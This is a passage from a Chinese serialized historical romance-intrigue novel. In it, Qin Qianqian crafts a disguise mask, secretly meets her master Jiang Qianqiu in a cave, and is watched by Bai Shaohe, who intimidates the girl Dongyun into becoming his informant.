她起身去捡了个破碗，让白邵禾帮她扶着破碗，在里面倒了一些酒，而后用火折子点燃那些酒。接着往里面倒猪皮粉和淀粉，看得王老怪和白邵禾屏气凝神。
“嘶，有点多了……”她有些皱眉，不知道是安慰自己还是安慰他们两个，“问题不大。”
白邵禾哑然失笑，她这一举一动，都让人很是怀疑她的技术。整个过程主打一个随性，碗是捡的破碗，里面甚至还有些泥土；配比也是随便来，多少没有个定量……
王老怪也看得龇牙咧嘴的。不是，这人究竟知不知道，配比失败一点点，都会让做出来的面具干涩发裂、或者太稀不能成型啊？
现下的操作更是惊掉眼球，她直接用手和弄起碗中的粉膏，没几下火焰消失，那粉膏也被团成一个核桃大小的圆球。
“不是，这只够做个巴掌大小的脸吧？”王老怪觉得自己已经够省材料了，没想到她这比自己又省了一半多……
秦千千无语地瞥了他一眼，“刚刚我摸的时候就发现了，你做的面具还是厚了，带上的话表情会很不自然的。”
王老怪气得直哼哼，白邵禾也拿起地上的脸皮查看，发现的确有些这样的毛病。
“那就等你的大作，赶紧做出来给我开开眼。”
秦千千一边打着哈欠，一边开始捏起材料。她先用拇指和食指把材料捻薄，然后再一点点拼凑出整个人的脸庞。
额头、眉眼、鼻子、下巴，甚至还拼凑出脖子的一段皮肤。最后，她还凭空捏出稍显突出的喉结。而且两侧下巴，还有一些诡异的褶皱，他们两个暂时看不懂那是干嘛的。
乍一看，还是王老怪的技艺更高超一些，因为他连眉毛胡子都做的栩栩如生。而秦千千做的眉眼处，都是空无一物的洞，那样就要凭依伪装之人的眉眼了。
这一点白邵禾觉得很可惜，因为凭借眉眼认人，那太简单了。他手下的暗卫，全都有凭眉眼识人的本事。
不过白邵禾还是发现了，秦千千做的确实是薄了很多，更别说眉眼边缘，几乎是透明的。面具脸颊处应该是最厚的部分，却也几乎透明。
秦千千把剩下一些膏团放在碗里，两手捏着面具抖动了几下，然后把它摊在手上。
“好了。”
白邵禾和王老怪都往前探着身体去看，王老怪不得不承认，越薄越容易出错，她在边缘处的处理，的确昭示她已经赢很多了。
只不过，嘴硬又不需要成本。
“你这做的这么小，谁能带上？不带上，咱们怎么看最终的效果？”
白邵禾上手摸了摸，不知道是不是他自己的错觉，总觉得秦千千做的这个更细腻一些。
正巧那边的冬芸醒来，她跑过来看这三个人干什么呢，秦千千朝王老怪挑了挑眉，“谁说带不上？”
冬芸听话地去洗了脸，然后就这脸上还没擦干的水珠，秦千千把这张假皮，给她贴合了上去。她还跟冬芸解释，这就是浆糊粘的，待会儿可以洗掉，让她不要害怕。
就这样在两个人面前，一点点粘上了那个除了薄，几乎一无是处的假面。
结果令两个人大吃一惊的是，等她把假面贴合后，白邵禾和王老怪发现，冬芸的长相变了。从有些稚嫩，脸边还有些肉肉的小孩儿脸，变得更加英气了。
诡异的是，眉眼的形状完全没有变化。仅仅通过改变脸的细微构造，比如脸上肌肉的走向，让她彻底大变样了。
秦千千抬起她的下巴，让她仰着头，白邵禾他们两个人这才知道，那两侧的褶皱是干什么用的。褶皱完美贴合拉扯的脖颈，让人看不出丝毫破绽。
一切打理好后，秦千千让她低头，自己左右打量了一下她，十分满意地点头。
“来来来，给你们开开眼！冬芸，你转转头给他们看。”
冬芸听话地左右转头，最容易露馅的脖子边缘，也如浑然天成一般，完全看不到破绽。
王老怪眼珠子都快瞪出来了，他沉默良久后不得不感叹：“的确是百闻不如一见，直接让你把冬芸办成个小伙子了！”
“是啊！而
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且肤色也正好，这真的是让人叹为观止。”
若不是从头看到尾，白邵禾一定认为她在配色上花了一番功夫，可是她并没有，甚至配色的土都是碗里自带的泥土……
果然，大道无形，大音希声。真正掌握一项技术的时候，那就是信手拈来就行。
桃花花睁眼看到眼前小男孩，还以为自己在做梦，正准备翻身再睡一会儿的时候，熟悉的声音传来，她才知道这是冬芸。
“千千对你真好啊！我之前求她帮我搞这个，她都不搞！”桃花花笑着捏了捏她的脸。
一旁的白邵禾看的清楚，王老怪看的心塞。捏起来看着手感也像真人皮肤一样，几乎是毫无破绽。这就是姜千秋之前说的，她有一两分天赋吗？
“千……”
“想我教你？”
王老怪郑重地点了两下头，秦千千却拍拍手上的浆糊：“自己悟去吧。再让我表演，十两一次。”
白邵禾看秦千千起身去屋外，就跟了上去，长腿一迈，没几步就追上了秦千千。
“没想到十两银子，就能看到这么神乎其技的表演。”这不是拍马屁，他这是衷心的感慨。
秦千千勾唇一笑：“那是我给王老怪开的价格，不是你的。”
白邵禾目光灼灼地看着她，等她说出价格，反正多贵他都买的起。却没想到，秦千千杀了他一个措手不及。
“当然是免费啦，咱们两个谁跟谁。”
他眸色一深，心跳漏了一拍。看着秦千千笑靥如花的样子，他知道，自己是被她拿捏住了。
可秦千千再没有多说话，她双手搭上白邵禾的肩膀，往下压。白邵禾虽然不知道她要什么，但还是很配合地由着她。
最终，他坐在了被捆在柱子上的疯子身边。
白邵禾转头一看，就知道她要干什么。怪不得剩了一小半的膏团，原来她不准备让这个疯子去接头。
她让王老怪把那半团送过来，说再给他表演一下，然后艺高人胆大地省去浆糊粘黏，直接贴在了他脸上。
“昨天我就发现，一个冬芸看不清买主，她那是紧张的，也颇为正常。可这疯子他们居然没人看清，不仅看不清买主，还连卖主的样貌也不是很清楚。”
那就说明，这群人有对身边的人下药，而且是某种神秘的药，能混淆人的记忆。
秦千千边说边在他脸上抹来划去，白邵禾和她的脸凑得很近，他曲起左腿姿态慵懒地坐着。秦千千为了方便动作，直接跪在他身前，她并没有觉得这个距离有什么不妥。
白邵禾一直盯着她的脸，眼神既复杂又沉醉其中。他觉得这距离很近，若是别人离他这么近，他一定会有些厌恶。可这是秦千千，让他移不开眼睛的人。
“差不多了，快来看看怎么样？”她勾手抬起白邵禾的下巴，让王老怪帮忙看一眼。
这下他不服也不行了，她就在脸上动了些手脚，就让原本丰神俊朗的人，现如今看起来十分憔悴、形销骨立。
“千千，我以后再也不跟你吵架了！”
94. 千千拜见主人
“不是，秦千千，你这做的是人事儿吗？”早上刚说不跟她吵架的人，不到中午就憋不住跟她吵嚷了起来。
秦千千无奈地耸了耸肩膀，不就是让他挂在墙上当个尸体吗？至于这么大的反应吗！
在场的几个人，几乎没一个闲着的。
桑风雪、元德、还有白邵禾，他们三个伪装成接头的人。桃花花也埋伏在这里，只不过是屋外的茅草堆中。秦千千带着冬芸到时去外处躲避，她要王老怪留在这里，也是有自己的考量的。
“你得留在这里查清楚，那古怪的药是什么啊！”查清楚为什么人们记不清他们的长相。
王老怪焦急地在屋里踱步，转了好几圈后，只能妥协。
“但是你得把我旁边挂着的，那几张人皮拿走！”
“就指着他们在这里保护你呢，你别挑三拣四的了。冬芸，咱们走。”
按照约定好的时间，再有一炷香，他们就要过来了，秦千千跟冬芸赶紧离开。目送她们走远后，白邵禾这才面色沉重地从门外进屋。
看出他这是在担心秦千千，桑风雪就开口让他不要忧虑。
“在我们看不见的地方，她可安全着呢。”
也是，芳草阁的人也不都是吃白饭的。
秦千千带着冬芸一边走，一边聊天。她问冬芸会不会替她保守秘密，冬芸用力点头，还说不管什么，她都不会说出去的。
“那好，接下来的事情不要告诉任何人。”秦千千带着她，右拐走了百步，然后遇到一个山洞。
冬芸发现，这跟她与别人说的路线不同。她明明跟桃花花她们说，她会向西直行，直到那片远处的森林。现在中途转方向，弄得冬芸很是奇怪。
“千千姐，我们乱跑的话，她们找不到我们怎么办？”
秦千千表情急迫，不过还得抽出些时间敷衍她：“放心，咱们去见个人，立马就按照约定走。”
与绝大部分山洞相同，里面岩壁湿滑，还时不时有滴答的水声传来。
冬芸眼神复杂地看了一眼，走在前面的秦千千。她之前还在河边说她害怕深不见底的地方，可她们现在明明在往越发漆黑的洞中走，千千姐怎么就不怕了呢？
她只能按下心中的狐疑，眼下也只能相信千千姐了。
两个人大概走了一炷香的时间，原本两个人各走各的，后来路有些难走，秦千千就转头拉着她，走过最湿滑的地段，冬芸发现洞中竟然越发亮堂起来。
抬头一看，原来是远处山顶有个大洞，阳光从中间倾泻下来，看的她心中踏实了许多。
而在太阳照射的洞底，形成一个几乎完美的圆形。那阳光中间，伫立着一个负手背对她们的身影。
冬芸没有学过那么多的成语，因此她找不到合适的语言形容那人。
那人看起来清冷独立，像是在此修道的仙人。
她楞在原地，使劲儿揉了揉眼睛。这才发觉自己没看错，那里真的有个身着素白长袍的人。那人长发如瀑，头上仅簪了个不知道什么材质的簪子。
秦千千迫不及待地往前跑，冬芸不明所以，但跟得很紧。听到身后的动静，那人转过身来，冬芸却发现自己看不清她的长相，不过她闻到一股奇异的香味。
“主人，千千拜见主人。”秦千千直接跪在她脚边，抬眸的一瞬间，她的眼中已蓄满眼泪。在阳光照射下，那眼泪闪着光夺眶而出。
千千姐的主人？冬芸赶紧跪在地上，以头抢地不敢抬头。直到那人语气温和地唤她起来，冬芸才敢抬头。
她默不作声地看着秦千千，看她眼泪像断了线的海珠，一滴一滴划过脸颊掉落在地上。
姜千秋嘴角漾起一抹微不可查的笑容，她抬手帮秦千千擦去脸上的泪痕，“海中的灾祸，我也属实没想到。不过，一切都已经过去了。”
平时最独当一面的人，看到主人来了后，所有的委屈全都翻涌起来。主人越是安慰她，她心中越是伤心。
“千千谢过主人，若不是主人一直暗中相助，我走不到这里的。”秦千千自己用袖子擦擦眼泪，抽噎着说。
姜千秋从袖子中抽出方帕，递给她。“别让小朋友笑话你，快起来吧。”
一旁的冬芸已经揉了好几次眼睛，她就像隔着层薄纱看人，怎么都看不清她的长相。可一转头看向秦千千，却又分辨的很清楚。
姜千秋抬手拍了拍她的头，安慰她：“这里的阳光太刺眼，你看不清楚很正常。”
冬芸乖巧地点头，虽然说哪里不对，但她的语调实在太过温柔动听，让自己完全不愿想其他别的事情。
秦千千起来后，撒娇般地挽着姜千秋的胳膊，问她来这里做什么。两个人往黑暗的地方走，那里有块儿平坦的时候，可以让她们坐下聊。
冬芸亦步亦趋地跟着她们，在主人面前，千千姐突然变成了小孩子！被自己的想法逗笑后，冬芸紧紧抿住自己的嘴。
“无事，就是来看看你。往常你受了天大的委屈，那就得叫嚷的人尽皆知了，现如今却停不下脚步，着实辛苦了。”
被说中心事的秦千千，有些不悦地撇了撇嘴。她接收到了主人的关心，只不过时间不多，还是要聊一聊正事。
“主人，行程过半，我并没有发现水和粮有什么问题，只剩下曲蘖和泉泥了，我应该立马启程去查探这两个吗？”
姜千秋毫不犹豫地点头，仿佛她早就准备好了答案一样。“说好了，这次全权由你决断，该北上还是南下去叁余坊，就看你的定夺了。”
说到这里，姜千秋从怀中掏出一个项链，递给秦千千。秦千千扫了一眼，就发现这是她要送给晏信的那一条。
所有事情都是一把双刃剑，若说之前秦千千都为自己的好记性骄傲的话，而现在，她却有些不知所措了。
她只要扫一眼，就能记住几乎完全相同的贝壳项链，哪个是谁的。因此当白邵禾告诉她，救她捡到两条项链的时候，她一看就知道，他在说谎。
因
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为那其中，一条是她的，一条是白邵禾的。
“主人，这个是你在哪里发现的？”秦千千表情错愕，姜千秋轻叹一口气。“就在这隆北道的地界，也是在你们捡到冬芸的地方。”
虽然不知道发生了什么，但直觉告诉冬芸，白邵禾暴露了什么。
姜千秋一向不愿意把话说的太明白，她深信“当局者迷，旁观者清”的这句话，可有时候直接挑破一些事情，那也就没意思了。
只不过面对自己看着长大的秦千千，她还是多说了一句：“千千，我只能告诉你，此事要三思而后行。而且，以后如非必要，线人和芳草阁的人，不会再联系你。”
秦千千沉默着不出声，冬芸感觉这里的空气仿佛凝结了，让她难以呼吸。姜千秋似乎很习惯这种孤寂，她面色如常地抬头望了望天。
“再思考一刻钟，然后就回去吧。”说罢，她起身走向更深的洞中，直到黑暗吞噬了她的背影。
没了她，冬芸骤然觉得洞中变得阴森恐怖了。可秦千千看起来心情不好，自己完全不敢打扰她。冬芸只能越缩越小，恨不得把自己团成一团，倚靠在秦千千脚边。
突然，一阵苍凉凄厉的叫声传来，吓得冬芸一个颤栗。那声音似乎是从上面洞口传来的，那叫声在山洞中回响，听的人后背发凉。
秦千千似乎终于回过神来，她把项链揣进怀中，起身带着冬芸离开，赶往她和白邵禾约定好的碰头地点。
这边的接头如约进行，而且这次并不是交易接头，只是日常的巡视。因此，秦千千才想出假扮接头的计策。
白邵禾他们的目的，就是从那些人口中，尽量不打草惊蛇地查到更多线索。元德假扮少言寡语的大哥，桑风雪扮成三弟，白邵禾则是话最多的四弟。
如果有选择的话，元德一定会跟殿下换的。可殿下的装扮，是秦千千亲手伪装的，而殿下对此到时没那么在意。
那游船停靠在岸边，船上下来三个人，他们检查了那个茅屋，才一起往这边走来。白邵禾提醒桃花花别乱动，这才亲自出去迎。
“兄弟们，今天来的有些迟了啊，请进请进。”白邵禾特意佝偻一些腰，这是秦千千提醒他的，他可比老四高多了，得伪装一些。
“老四，说好给我们准备的酒，怎么样了？走走走，别客气了，一起走吧。”说着，中间一个长着络腮胡，却是光头的胖子，上手勾住他的脖子，带着他进院。
元德表情严肃，他从来没有见过对殿下如此勾肩搭背，十分不尊重的人，可现在也没办法发作，只能忍了下去。
自打他们进院，王老怪就觉得鼻子痒痒的。他们穿上肯定存着很多大漆，因为那刺鼻的味道，几乎盖过了所有其他的味道。
藏在稻草堆中的桃花花，也眯起眼睛，专心致志地看那些人的服饰装扮，言谈举止。在清风酒楼浸润多年，她看人的眼光也是一绝。
而且比起秦千千，她在观察人的服饰上面，简直是炉火纯青，无人能敌。
95. 跟杀了我没区别
那几个酒囊饭袋，几乎没有察觉出什么不对。酒过几巡，他们舌头都有些喝大了。可即使这样，他们还是在侃侃而谈。
白邵禾装作醉得东倒西歪，眼神却格外清明。
“兄弟几个来的时候，是不是去哪里寻花问柳了，我怎么闻到过一股香味？”白邵禾看王老怪满脸愁容，简直比旁边的人皮脸色还难看，就知道他没发现什么。
“嘿！我们倒是想呢，可是这不一天天忙的，下次有机会，你帮我们物色几个在家里。别整天就想着来个人你们就要吃，你看看这都让你们吃了多少人了！”
光头络腮胡说完，他左手边坐着的腊肠嘴也应声附和：“是啊，要说你们四个，每一个成家的，问题就在这儿了。一天天的，不说想点正事儿，光顾着吃了！”
三人中年级最小，却满头花白头发的假老头一拍大腿，斥责他们两个：“你们懂什么，他们两两搭伙过日子都行，个人有个人的活法嘛。”
又喝了两轮酒，他们又废话了半天，话才终于饶了回来。
“你说的这香味儿，不会是交易的时候闻到的那种吧？”
元德攥紧桌下的手，殿下怎么闻到过那种香气？
桑风雪表情淡然，最坏的情况，就是事情败露后杀了这三个人。她觉得，自己可以可以接受。
三个人中，最淡定的就要数白邵禾了。他清楚知道，对付这种问题，随便搪塞过去就行了。
“嗨呀，我这便宜鼻子，还真闻不出来有什么差别。”
“你要笑死老子了！”香肠嘴使劲拍了拍他的肩膀，然后神秘兮兮地说：“要我说，最有用的还得是那些有钱人用的香，就咱头儿给客人分的那种，叫什么来着……”
“梦隐香！这个名字我记得清清楚楚，我还因为说这个，被刁枫打了一巴掌呢！”假老头恨得牙痒痒。
光头络腮胡照着他的后脑勺又来了一下，“都说了让你不要说，你还非要显摆。头儿打你那一巴掌，不亏！”
探听到了他们想要的东西，王老怪无声点头，心里的大石头总算是放下了。
白邵禾看他们也说不出什么别的事情了，就加快了灌酒的速度，没一会儿，就把三个人喝的东倒西歪。只不过他们不能睡在这里，三个人互相扶持着上了船。
“放心吧你们，我回去肯定跟头儿说，咱们这边一切如常。下次，还给你们安排生意。”光头络腮胡拍着胸脯跟他们保证。
送走他们三人，白邵禾他们转身进屋，桑风雪过去帮桃花花摘身上的稻草，那边的王老怪从紧贴墙的姿势中解脱出来，他活动着身上的关节，一脸如释重负。
休息差不多后，五个人直奔约定地点。
见了主人后，秦千千似乎一直沉浸在什么事情中，冬芸也不敢惹她烦心，只能乖巧地坐在她身边。
估算着时间差不多了，秦千千久违地开口：“冬芸，答应我，今天下午我们见了谁，说了什么，都不许告诉好吗？”她眉头紧皱，“你是我选择第一个相信的人，不要让姐姐失望好吗？”
冬芸立马竖起三根指头要发誓，秦千千赶紧按下她的手：“你说我就信的。再说与其发那些毒誓咒自己，不如干脆为了保护自己把这事儿说出去。”
“姐姐，我不会的！”
秦千千满意地点头，揉着她的头，问她饿不饿。在外面一下午，冬芸的确是饿了。她原本还期待秦千千拿出些干粮，结果她则是起身，说要去上面给她摘点野果吃。
好吧……
只不过，冬芸怎么想，都觉得似乎会出现危险。而且，千千姐指的那一串山楂，看起来也不是很果腹的样子……
但在她拒绝之前，秦千千已经率先行动，攀着树枝往上爬去了。冬芸在地上看着她在四五人高的山坡上前进，只能提心吊胆地提醒她慢一些。
秦千千完全不敢往后面看，她还让冬芸小点声，别让她分神。白邵禾他们回来的时候，冬芸连忙朝他们嘘，不让大家发出一点声音。
白邵禾看着她在上面背倚着一颗胳膊粗的树，然后伸手够那几颗野山楂，无奈地笑笑。
已经饿到这种程度了吗？
在她终于摘到一串后，她开心地喊冬芸：“冬芸，接住！”
结果回头要扔山楂给她的时候，却骤然看到山下站着的四个壮汉和一大一小两个女娃，秦千千噗嗤一声笑出来。
“吓我一跳！”
“快些下来吧。”白邵禾朝她摆手，他担心这人真的火速冲下来。秦千千把手里的一串山楂扔给他，自己沿着原路返回。
稳扎稳打地下山，眼看就剩半人那么高的距离了，她突然心血来潮，想直接跳下来，结果□□枯的藤条绊了一下脚。
聚在一起的白邵禾几人，正在秦千千的强烈建议下，品尝那“山珍”。因此，他第一时间没能过去扶住她。
秦千千摔在地上，好在她反应的快，没有用手撑在地上，而是用胳膊肘，这才没有收获两双血淋淋的手。白邵禾随手一扔山楂，赶紧过去扶她起来。
她感觉浑身都在痛，五官都皱在了一起，只能趴在地上不住地抽气。白邵禾正要扶她起来，却看到了她脸前掉出来的东西——贝壳项链。
那一瞬间，白邵禾呼吸停滞，眼神中满是震惊。但他还是先扶起秦千千，顺势让她倚在自己怀中后，他低头问她怎么样。
可只有他自己知道，他的眼神死死盯着眼前的项链。
白邵禾记得清楚，出门前，秦千千把她的项链放在了客栈。因为她当时还想把晏信送的镯子取下来，却发现取不下来。
也就是说，这条项链，不是秦千千的。
那是谁的？
白邵禾心中发凉，他几乎是强忍着才没有颤抖，秦千千没有发现他的异样，她甚至还没有发现那条项链。
因为她的衣袖被擦破，肘部全部被擦得血肉模糊。
“王老怪，快快快，我快要痛死了。”秦千千很少情绪如此激动，白邵禾这才低头查看她的伤势，那边的人也都跑了过来。
冬芸凑近后，直接扑在秦千千脚边。在看到伤势前，她先看到了地上的项
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链。想起千千姐跟自己说的话，悄然捡起地上的项链，攥在自己手中。
可惜这一幕，被白邵禾看得一清二楚。
王老怪现在手头只有止血的药粉，缚布只能靠撕下来的衣服代替。反正这边的事情已经做完了，她们就准备回去。
最大的好消息，就是从这里往回看，会发现高耸的山已经没那么高了。白邵禾二话不说，直接抱起她往回走。
一路上，为了不颠簸到胳膊，秦千千的右手搭在他的脖子后，另一只胳膊，就放在自己肚子上。
都说好了伤疤忘了疼，秦千千却是伤还没好，就忘记了疼痛。她抬手在白邵禾脸上摸了摸，原来是那些伪装翘了边。
“闲着也是闲着，我帮你把这些东西弄下来吧。”
“嗯。”
秦千千不知道是不是自己的错觉，怎么总感觉白邵禾脸色很难看。她自顾自地帮他拆掉脸上所有的伪装，突然福至心灵，他不会是抱自己累的吧？
“邵禾兄，要不你放我下来吧，我其实能自己走。”
白邵禾先看了一眼她被蹭破皮的膝盖，虽然伤势没有胳膊那么重，却也并没有到她说的“能走”。
看到他视线后，秦千千心中更愧疚了，原来把他累的都不想说话了啊！
“要不换元德抱着我吧，你是不是也累……”
“不累。”
经此一役，王老怪算是看明白了，白邵禾的心思。应该说，在场的所有人，应该都清楚了。
元德十分彷徨地看着殿下，心中真是有苦说不出。结果看到殿下那冷到几乎可以杀人的眼神，他的心算是彻底死了。
桑风雪简直快被气到断气，秦千千再傻，事到如今也该看明白了。
有些事情不说破的话，那就还有的处；可若是说的明白，那才是分崩离析的开始。
桑风雪不愿意看着秦千千为难，夹在主人和朋友之间为难。
“有什么为难的呢？我当然选择主人！”
晚上，趁着白邵禾他们去吃饭，桑风雪好不容易找到个跟她独处的时间，假设性地问她。秦千千的回答，她的确是不意外。
抱有目的接近她的人太多，秦千千不得不一棍子打死所有的人。毕竟，主人可是永远为自己好的人。
“可那人若是白邵禾呢？”桑风雪满面愁容地问。
秦千千叹了口气，而后无奈地垂眸：“那跟直接杀了我，没区别。”
她本就辗转难眠，好不容易睡着的时候，却又被一个人轻手轻脚地晃醒。
秦千千分辨了好一会儿，才发现是冬芸。
“姐姐，今天你跌下来，项链掉了出来。我没敢告诉任何人，可也找不到单独跟你相处的机会，只能现在把东西给你。”
秦千千心中万分感激，她一瞬间鼻子酸涩，说话都带了些鼻音：“冬芸，你真是个乖孩子！姐姐以后要带你过大富大贵的日子！”
冬芸开心地关上房门，准备回自己房间睡觉。可转身的瞬间，她却被人捂住口鼻，没一会儿就昏了过去。
96. 以后你就是我的线人了
冬芸再度醒来时，沿着眼前站着的两个人，她就一切都明白了。
白邵禾没有了往日的随和，脸上满是冷峻。一旁的元德，也收起之前呆呆愣愣的表情，面色凝重地看着她。
“冬芸，你若是个聪明人的话，就告诉我们，你今天跟秦千千去了哪里，见了什么人。不然……”元德言尽于此。
冬芸手脚被困住，绑在身后的柱子上。她虽然怕的不行，但依旧把嘴闭得严严实实的。
看样子，她是不准备说了的。
白邵禾脸上挂着一丝笑意，可那笑容让冬芸不由得胆寒，接下来他说的话，更是让冬芸如坠冰窟。
“一更后，你不说的话，我就去杀了桃花花；二更后，我就去杀了桑风雪；三更时……”
“你不会杀了她们的，更不会杀了千千姐！”冬芸还记得她们今天说的话，他明明承认喜欢秦千千，那他怎么会杀了她？
白邵禾看透她的心思，就冷笑一声：“我当然会，要不要先把王老怪的人头提来给你看。”
说着，他就朝元德挥手，元德立马往外面走。冬芸立马慌了神，她大喊让他回来。
“我说，我都说。”
谅她也玩不出什么花招，元德就给她松绑，让她站在这里说。白邵禾则是背着她们，走到了门口。
从下午她们分开开始，冬芸一字不差地讲述了所有的事情，可她隐藏了一件事，那就是秦千千让她遇到生命危险时，把这个事情说出来。
一旁的元德几乎是兴奋到红了眼，他们寻觅已久的姜千秋，终于露面了。
可他没想到，转身面对他们的白邵禾，眼神中没有半分兴奋，全是困惑。
“你是说，那条项链是姜千秋给她的？姜千秋还说，以后不会让线人接应她了？”白邵禾又复述了一遍她的话。
冬芸不知道他在疑惑什么，只能认真地点了下头。
白邵禾心中有了个大胆的猜测，或许，姜千秋早就知道自己的身份了，只不过她没跟秦千千说。
只有这样才能解释，他大张旗鼓带着人搜寻河边，秦千千却没有得到任何消息的事情。
她若真这样做，那动机，白邵禾也能猜想的到。
姜千秋的确是耗费心机培养了秦千千，可情爱之事，不能全靠她的果断，任意妄为。
最好的办法，就是让秦千千自己选择。
而姜千秋，在洞悉自己对秦千千的感情后，决定撤去线人，让秦千千自行决断她们的感情之事。这的确，像是姜千秋能做出来的事情。
但他也不能排除，秦千千的确对此事知情……
反正不管怎样，一切的选择都在她的手上了。之前或许还有姜千秋的指点，从今天开始，就全然是她秦千千自己的抉择了。
元德看着殿下陷入了良久的沉默，也只能守在他身边默不作声。白邵禾想明白后，抬眼看着冬芸。
她算是保住了她的性命。
“你以后就是我的线人了，只要听话，我能保你不死。不过，今天的事情，不许告诉任何人。”白邵禾弯下腰，平视着冬芸的眼睛。
迫于压力、迫于想活下去的渴望，冬芸点了头。
带着她出门，冬芸才看清自己现在在哪，刚刚的房间竟然是客栈最上层的阁楼。让她回房休息后，元德立马跪在白邵禾身边。
“公子，属下办事不利，回京后定自愿请罪。”
说好让他保管的东西，竟然能丢在路边。最要命的是，竟然还给姜千秋捡到了。
刚刚听闻这个消息的时候，白邵禾也是心急如焚，但思虑片刻后，他就安下心来。
这不会暴露什么，顶多让秦千千知道，自己看不惯晏信，是因为对她的心意。最容易暴露的事情，姜千秋已经替自己遮掩好了。
“起来吧，福祸相依的事情，也不好对你判定什么。”元德起身后，白邵禾继续说：“不过那梦隐香要查，看冬芸的意思，姜千秋也用了那种东西，才让她看不清楚她的长相的。”
他抬眼盯着元德，眼中的威压溢于言表。
“她现在没了线人的帮助，暗卫的办事总归不用那么束手束脚了。可万不能放松警惕，若是因为谁暴露了，那就让他自行谢罪吧。”
不止暗卫，就连元德也得把皮绷紧了。
第二天早上，有两个衣着锦缎的女子来客栈找人。小二引着她们去敲秦千千她们的门。
正巧她们一行人正在吃饭，离门最近的元德就去开门。看着眼前完全不认识的人，他正想开口问她们是谁，身后的秦千千却跑了过来。
“哎呀，你们怎么到的这么早？快快快，快请坐！”秦千千一脸殷勤地把元德拉到一边，自己伸手请她们进屋。
“希望秦老板不要怪罪，我们老板着实抽不开身，而且这种小事，我和宜彩来做就行了。”稍微年长一些的人，礼节还算是到位，还微微俯身给秦千千行了个礼。
秦千千一把拉她起来，“星月姐姐说哪的话，你们能来帮我给各位量尺寸，我就感激不尽了。宜彩，你也坐。”
白邵禾这才恍然大悟，她这是把叁余坊的人叫来，给他们量好尺寸过去做衣服。他无奈地笑了一下，她怎么那么执着于这一身衣服？
可一般人，很难想明白秦千千的做事动机。
比起行事诡秘又神龙见首不见尾的姜千秋，他倒觉得秦千千更难懂。
无他，前者会循规蹈矩地办事，可后者却是毫无章法的随心所欲派……
一上午时间，星月和宜彩就裁定好了所有尺寸，她们还婉拒了留下吃午饭的提议。只不过走之前，她们提出想跟秦千千独处一下。
可惜一墙之隔，那些话还是落在了白邵禾的耳朵里。
“秦老板，我们老板吩咐我们通知你，自你回京之前，各方将不会再跟你有任何往来，望珍重。”星月的语气终于不那么冷淡，甚至带上了一丝怜悯。
“到时衣服做好后，我们会悉数送去京都的。”宜彩声音稍许稚嫩，很好辨认出来。
“不必了，到时会有人告诉你们，该把衣服
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送去何处的。请二位替我谢过楚老板，若有来日，我定登门拜谢。”
白邵禾本以为，再见秦千千的时候，她会有些落寞的。毕竟，此行再也不能受惠于姜千秋了。在他眼中，秦千千的伪装没有那么高超，他总是能从她脸上，发现一些出于真心的端倪。
秦千千言笑晏晏地送别星月和宜彩，这才去隔壁找他们。白邵禾发现她神色如常，甚至比前两天还松快些，就十分奇怪。
“各位，既然咱们查出了线索，再加上我的心愿已了，下午我们就一路北上吧。”说着，她还亲昵地揉了揉冬芸的头，“冬芸提的事情，咱们要放在心上的。”
冬芸心虚不已，只能逃避秦千千的视线，求救般地看了眼白邵禾。白邵禾不担心她会出卖自己，因为她不会拿在座几个人的性命开玩笑。
“莫不如再停留两日，你身上的伤，还要两日才能恢复吧？”白邵禾开口跟她说，字字句句都是对她的关切。
秦千千看他的时候晃了神，愣了一秒才笑着婉拒：“不用了，追查这种事情，时间自然是金贵的不得了。再说，我听说
岭北可是我如意郎君晏信的老家，指不定，还能去见一见他呢。”
桑风雪、王老怪、还有桃花花都忍不住笑了起来，元德装也得装得开心一些。唯独白邵禾，丝毫不掩藏自己脸上的表情。
凉薄、愠怒，还有一丝隐忍。
秦千千看的清楚，她就是故意这么说的。晏信的家在关南，要再往南走几百里，往北怎么可能寻得到他！
她就是想试一试白邵禾，看他对自己的情谊有几分是真，亦或者有什么其它的目的。
之前她的确有觉得他对自己好，可完全没往情缘这方面想。可昨天项链的事情一出，再加上主人的态度，她想装作不知道都难。
其中最一锤定音的证据，不是那条项链，以及白邵禾平时有些讨厌晏信的种种，而是主人的态度。
临行前，主人就告诫过她，若是出现可以磨砺她的地方，那不管有多千难万险，她绝对不会插手相助的。
秦千千自认为不会有这种时候，自己各个方面都很完美，不说十成十复刻主人，那也学了一半。可姜千秋却泼她冷水，说总会有的。
果然，在晏信离开的那个早上，秦千千大概知道了“总会有”的意思——感情之事。这原本是她列为禁忌，从不触碰的事情。
可不触碰不代表能处理，尤其是在她心中有些动摇的时候。
从见了主人开始，她就在回想起与白邵禾、晏信相遇的点点滴滴。直到白邵禾抱起自己，她才在捋清楚自己的思路。
自己喜欢看着他。没有由来地，只要看着他在身边，就很安心。
若这就是喜欢的话，那她……
“要不换元德抱着我吧，你是不是也累……”
她当初说这句话时，是怕白邵禾听到自己心脏猛烈跳动，几乎快要跳出胸腔的声音。
可看到他冷着脸拒绝的时候，她惊讶地抬头望着他，久久不能言语。
97. 双谋开始
从早上她面色如常地对待自己，白邵禾就知道，她这是打算装作什么都不知道了。
不过也好，不挑明是对两个人都好的事情。
而这一瞬间，白邵禾看清了她眼中的玩味，只不过他的怒火却是真的。自己早早查过晏信，自然知道他家不在那里。
可问题是晏信最近跟他爹去岭北做生意，他人真的在岭北！
被她歪打正着，白邵禾心中不由得感慨，这真是无巧不成书了。那就索性表现出她想看的样子，让她高兴高兴也好。
“你做决定就好。”说罢，白邵禾冷着脸出了门。
这还是他第一次在秦千千面前耍脾气，不仅秦千千，屋中所有人都震惊了。大家看着他离去的背影，王老怪赶紧上前推了一把秦千千，让她去跟人好好说话。
秦千千颇有玩脱了的窘迫，她不知所措地看向桑风雪，可这时候她又能说什么呢？
“你们两个商量好吧，我们怎么样都行。”桑风雪决定，她早晚还是要找白邵禾聊聊的。不过在此之前，要先跟秦千千畅谈一下。
看白邵禾离去的身影，元德抿紧嘴唇没敢吭声。殿下还专门为她放慢了脚步，生怕她追不上去啊！
想起平时殿下身姿挺拔、健步如飞的样子，再对比现在，元德实在忍不住想笑。
秦千千不再磨蹭，直接追了上去。
没道理呀，自己之前明明很会把握言语分寸，不会让人生气的。怎么到白邵禾这里，就不好使了呢？
她心中一边嘀咕，一边跟到他们屋中。可迈步进屋，却发现白邵禾人不见了。
“不是……”
秦千千慌张地转头找人的时候，看到了好整以暇倚在门后的白邵禾，这才长出一口气。
“你吓我一跳。”她轻拍自己的心口，扶着桌子坐了下来。
白邵禾一言不发地走过来，单手挑起长袍，落座在她左手边。
“我还以为你不会关心自己呢。”
